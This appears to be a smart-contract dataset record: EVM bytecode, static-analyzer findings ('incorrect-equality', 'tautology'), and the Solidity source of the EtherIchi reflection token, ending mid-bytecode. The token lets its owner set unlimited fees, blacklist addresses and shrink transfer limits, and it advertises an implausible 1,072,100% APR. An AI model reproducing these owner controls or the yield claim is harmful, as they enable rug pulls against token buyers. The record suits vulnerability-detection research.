101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561218f57600080fd5b60006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156121e757600080fd5b81600560008581526020019081526020016000208190555060016007600085815260200190815260200160002060006101000a81548160ff02191690831515021790555043600a60008581526020019081526020016000208190555081600b60008581526020019081526020016000208190555080600c600085815260200190815260200160002081905550505050565b6000806015600084815260200190815260200160002054430360176000858152602001908152602001600020540260166000858152602001908152602001600020540390506000811115156122d057600091506122f8565b60166000848152602001908152602001600020548111156122f457600091506122f8565b8091505b50919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561235a57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561244357600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600f6000848152602001908152602001600020549150829050915091565b6040805190810160405280600381526020017f435344000000000000000000000000000000000000000000000000000000000081525081565b600f6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806125a15750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156125ac57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff16141515156125e857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff161415151561262357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e60008c815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561269057600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e60008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156126fd57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e60008a815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561276a57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e600089815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156127d757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561284457600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156128b157600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561291e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561298b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156129f857600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612a6557600080fd5b612a70338c8c6140ae565b612a7b338c8b6140ae565b612a86338c8a6140ae565b612a91338c896140ae565b612a9c338c886140ae565b612aa7338c876140ae565b612ab2338c866140ae565b612abd338c856140ae565b612ac8338c846140ae565b612ad3338c836140ae565b5050505050505050505050565b60195481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612b4857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612b8357600080fd5b612b8d3382613783565b1515612b9857600080fd5b612ba33383836140ae565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c0357600080fd5b8060098190555050565b600080600e600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515612c8057600080fd5b600015156013600086815260200190815260200160002060009054906101000a900460ff161515141515612cb357600080fd5b612cbc84612278565b90506000811480612cf15750600015156014600086815260200190815260200160002060009054906101000a900460ff161515145b1515612cfc57600080fd5b82600f60008681526020019081526020016000208190555060016011600086815260200190815260200160002060006101000a81548160ff02191690831515021790555060006014600086815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b6000600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515612de457600080fd5b600115156011600085815260200190815260200160002060009054906101000a900460ff161515141515612e1757600080fd5b600015156014600085815260200190815260200160002060009054906101000a900460ff161515141515612e4a57600080fd5b81600f600085815260200190815260200160002081905550505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ec557600080fd5b600d82815481101515612ed457fe5b9060005260206000209060040201905060018160030160006101000a81548160ff02191690831515021790555060006013600084815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60056020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612fa557600080fd5b8060188190555050565b600080600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150829050915091565b600080600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561305257600080fd5b8473ffffffffffffffffffffffffffffffffffffffff16600e600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156130bf57600080fd5b600d868154811015156130ce57fe5b90600052602060002090600402019350600115158460030160009054906101000a900460ff16151514151561310257600080fd5b600015156013600088815260200190815260200160002060009054906101000a900460ff16151514151561313557600080fd5b6014600087815260200190815260200160002060009054906101000a900460ff1692506001151583151514156131755761316e86612278565b915061318c565b600f60008781526020019081526020016000205491505b600082141561319e57600090506131c2565b6011600087815260200190815260200160002060009054906101000a900460ff1690505b600015158115151415156131d557600080fd5b60008460030160006101000a81548160ff02191690831515021790555060016013600088815260200190815260200160002060006101000a81548160ff021916908315150217905550505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806132ce5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156132d957600080fd5b81600c6000838152602001908152602001600020819055505050565b600080600a6000848152602001908152602001600020544303600c60008581526020019081526020016000205402600b60008581526020019081526020016000205403905060008111151561334d5760009150613375565b600b6000848152602001908152602001600020548111156133715760009150613375565b8091505b50919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806134255750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561343057600080fd5b8190506019546006600d805490500110151561344b57600080fd5b6134598b8b8b6001856137ef565b506134688888886001856137ef565b506134778585856001856137ef565b506134868b8b8b6001856137ef565b506134958888886001856137ef565b506134a48585856001856137ef565b505050505050505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090505481565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000806000806000806000806000899750601460008b815260200190815260200160002060009054906101000a900460ff1695506001151586151514156135815761357a8a612278565b9850613598565b600f60008b81526020019081526020016000205498505b60008914156135ae5760009650600095506135d2565b601160008b815260200190815260200160002060009054906101000a900460ff1696505b600d8a8154811015156135e157fe5b906000526020600020906004020190508060000154945080600101549350806002015492508060030160009054906101000a900460ff16915050919395975091939597565b600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561369357600080fd5b600015156013600085815260200190815260200160002060009054906101000a900460ff1615151415156136c657600080fd5b81600560008581526020019081526020016000208190555060016014600085815260200190815260200160002060006101000a81548160ff02191690831515021790555043601560008581526020019081526020016000208190555081601660008581526020019081526020016000208190555080601760008581526020019081526020016000208190555060016011600085815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008273ffffffffffffffffffffffffffffffffffffffff16600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60006137f961427a565b600060806040519081016040528089815260200188815260200187815260200186151581525091506001600d839080600181540180825580915050906001820390600052602060002090600402016000909192909190915060008201518160000155602082015181600101556040820151816002015560608201518160030160006101000a81548160ff02191690831515021790555050500390508063ffffffff16811415156138a857600080fd5b600386888a01018115156138b857fe5b04601060008381526020019081526020016000208190555060006013600083815260200190815260200160002060006101000a81548160ff0219169083151502179055507fe3e9cb4c9675332e1e71c04808555c8071daa68327830cac01cc33d4087a64e98482604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1613973600085836140ae565b809250505095945050505050565b600080600080600080600060011515601460008b815260200190815260200160002060009054906101000a900460ff16151514156139c9576139c289612278565b96506139e0565b600f60008a81526020019081526020016000205496505b6000871415613a16576000601160008b815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60011515601160008b815260200190815260200160002060009054906101000a900460ff161515141561405a57878711151515613a5257600080fd5b600260185488811515613a6157fe5b04811515613a6b57fe5b04955085868803039450339350601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050555083600e60008b815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601160008b815260200190815260200160002060006101000a81548160ff0219169083151502179055506000601460008b815260200190815260200160002060006101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16141515613bf857601260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055505b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a858b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1600a601060008b815260200190815260200160002054811515613cb657fe5b04925060008310158015613ccb575060028311155b15613d0c57600460006005815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613e81565b60028310158015613d1e575060048311155b15613d5f57600460006004815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613e80565b60048310158015613d71575060068311155b15613db257600460006003815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613e7f565b60068310158015613dc4575060088311155b15613e0557600460006002815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613e7e565b60088310158015613e175750600a8311155b15613e5857600460006001815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150613e7d565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505b5b5b5b5b8973ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050158015613ec7573d6000803e3d6000fd5b508586868a03030390508373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613f17573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f19350505050158015613f7f573d6000803e3d6000fd5b5060008273ffffffffffffffffffffffffffffffffffffffff16141515613fec578173ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f19350505050158015613fe6573d6000803e3d6000fd5b50614055565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f19350505050158015614053573d6000803e3d6000fd5b505b6140a2565b8373ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f193505050501580156140a0573d6000803e3d6000fd5b505b50505050505050505050565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050555081600e600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156141d657601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055505b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050565b60806040519081016040528060008152602001600081526020016000815260200160001515815250905600a165627a7a723058206f53e3c2fe20cfc490fef43e7e3e8b7b5f7fa931b3a4ebaa3241a9f5db4fe1bd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 4,400 |
0x546a1e1998d991b637ab96c16e21c987a0737bb8
|
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
/**
$ICHI Fork. Mint $MRI Branded Dollars and stake them with APR up to 1,072,100%
https://twitter.com/EtherIchi
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EtherIchi is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EtherIchi";//
string private constant _symbol = "ETHICHI";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x72eBfF4788d40464C0C5346Bf790CF46c720832a);//
address payable private _marketingAddress = payable(0x72eBfF4788d40464C0C5346Bf790CF46c720832a);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 33000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054b578063dd62ed3e14610561578063ea1644d5146105a7578063f2fde38b146105c757600080fd5b8063a9059cbb146104c6578063bfd79284146104e6578063c3c8cd8014610516578063c492f0461461052b57600080fd5b80638f9a55c0116100d15780638f9a55c01461044057806395d89b411461045657806398a5c31514610486578063a2a957bb146104a657600080fd5b80637d1db4a5146103ec5780638da5cb5b146104025780638f70ccf71461042057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b67565b6105e7565b005b34801561020a57600080fd5b5060408051808201909152600981526845746865724963686960b81b60208201525b6040516102399190611c99565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611ab7565b610686565b6040519015158152602001610239565b34801561027e57600080fd5b50601554610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50683635c9adc5dea000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611a76565b61069d565b3480156102fc57600080fd5b506102c260195481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601654610292906001600160a01b031681565b34801561034e57600080f